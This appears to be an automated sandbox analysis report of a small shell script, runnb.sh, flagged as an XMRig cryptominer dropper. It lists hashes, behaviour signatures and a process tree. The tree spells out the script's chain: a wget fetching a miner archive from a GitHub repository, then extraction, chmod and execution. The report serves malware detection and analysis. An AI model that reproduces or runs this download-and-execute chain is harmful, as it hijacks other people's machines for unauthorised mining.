Analysis

  • max time kernel
    1799s
  • max time network
    1781s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240611-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    16-10-2024 17:38

General

  • Target

    runnb.sh

  • Size

    160B

  • MD5

    87ea8773efcca67a4f2ce3e1ba1d1ff8

  • SHA1

    0770e97785f007f7a3bc9d7e35a72b16895c366d

  • SHA256

    765a3183613b556d32d8775fc21410c61d1565a372c27ed54193d4808b5cdb01

  • SHA512

    df69c7a84df081850f4a1f72d78f65ddf61074fd4af7f989458cdc4273b5a64eeccb6864391ca780875e7b754834bbcbb17d550c4c9514101a8d3f45470ac514

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 1 IoCs
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 45 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 25 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/runnb.sh
    /tmp/runnb.sh
    1⤵
      PID:1404
      • /usr/bin/wget
        wget https://github.com/orkaroeli/orkaroeliminer/raw/refs/heads/main/xmrigtar.tar.gz
        2⤵
        • Writes file to tmp directory
        PID:1405
      • /usr/bin/tar
        tar xvf xmrigtar.tar.gz
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:1415
        • /usr/local/sbin/gzip
          gzip -d
          3⤵
            PID:1416
          • /usr/local/bin/gzip
            gzip -d
            3⤵
              PID:1416
            • /usr/sbin/gzip
              gzip -d
              3⤵
                PID:1416
              • /usr/bin/gzip
                gzip -d
                3⤵
                  PID:1416
              • /usr/bin/chmod
                chmod +x xmrig
                2⤵
                • File and Directory Permissions Modification
                PID:1417
              • /tmp/xmrig-6.22.0/xmrig
                ./xmrig
                2⤵
                • Executes dropped EXE
                • Checks hardware identifiers (DMI)
                • Reads hardware information
                • Checks CPU configuration
                • Reads CPU attributes
                • Enumerates kernel/hardware configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:1418

            Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            • /root/.wget-hsts

              Filesize

              215B

              MD5

              89e7f53034962f8aa8aa5829d448e720

              SHA1

              015075e7aa6b40a67a2786d1931878aff7a20793

              SHA256

              c78f706c8973ff0d184906f6cae20e470dd6668013d827113a10933059ff2b42

              SHA512

              a3186820a387887330c5ae60ede8250fd18ea0e0a50178757cecd4bfcaf3d6b777219cf4f8ad9fc69e30c736b58ee74a5f68a62528a37af7fecd85e615bff784

            • /tmp/xmrig-6.22.0/SHA256SUMS

              Filesize

              150B

              MD5

              19f1bb08cf8997837b1f738b76ca97e9

              SHA1

              c497499ad539d6ef580c6c932a2633fe820abded

              SHA256

              99ca11102d0994a98a76722b325f3215b30d3b3df3d722a2baebf6f9944566fa

              SHA512

              fbb742f0fa67720e798b493a5e5ba5e72cbdde3c0ea55cfc0704f93ab97c586434a3e029f6e1e3ed655da997649aa8e9caf352018b87457755f75ca1bfe50230

            • /tmp/xmrig-6.22.0/config.json

              Filesize

              919B

              MD5

              0a9b0011891eae4086d16c3364e772ff

              SHA1

              98fe8a7b5b6b0c0aa7635e4e388c67c863772b69

              SHA256

              1aa77bd6697d36e345cd7c0769613e9798106b0fed206d7f766e846b63aa10fd

              SHA512

              9e1791e92d71b539aac8f944a3db65708ebfca102f16e3e7af429aaea1446be781c4ec5cb740a163dbc11a3bdacfed36d21262e05fcf29d896beb06ce0d59554

            • /tmp/xmrig-6.22.0/config.json

              Filesize

              1KB

              MD5

              1879742a3f028a8e227f3b6b51756269

              SHA1

              20365c0cf35e787f525baede3646cfdfe6001cba

              SHA256

              4042908287a7c60eb515d2c180a03d25156b4001af6cba1ad823461cc86751c5

              SHA512

              e7d918532dd029a53b803df0df2e4e61416e18b58ffabe18b542cd30b111f266e98d73aad8ffe62a79af50e4f21d7e19415ee03ff104eb36aaad2cf1903e9731

            • /tmp/xmrig-6.22.0/xmrig

              Filesize

              7.9MB

              MD5

              bf0a60037ae61a02c983f4d928050781

              SHA1

              e99619a7000af92ff6b608206c9456890420fe19

              SHA256

              68b38c73f297b26e5d8f8d8d3bc5ba2402d49c35c2be4f35e90da7271fe8a542

              SHA512

              fc23dddc2afd34a07bc368972b4d739c705c11c0fdd55a0a95e71e4d1df97aa742449dd859d412f0267a78fc70d770371ec7f2031aea53944f1ff0322a067cb0

            • /tmp/xmrigtar.tar.gz

              Filesize

              3.4MB

              MD5

              ccdb2d76041e107dff38f962d65b3d4b

              SHA1

              e9360c43398f3725b0a3eb87e2448ac416d96be3

              SHA256

              11d52ee20c865f6b0b7787bfe7a06d7ce0d865e041552365b9a026a0d24cc18f

              SHA512

              f6b090c698cb1092bf10010bbe00fed0388e7117b8397cf3113a23271bb514d0d03b559de721896994b472f26f9e3aeeddc2877d71bcc7830313e97d2171033d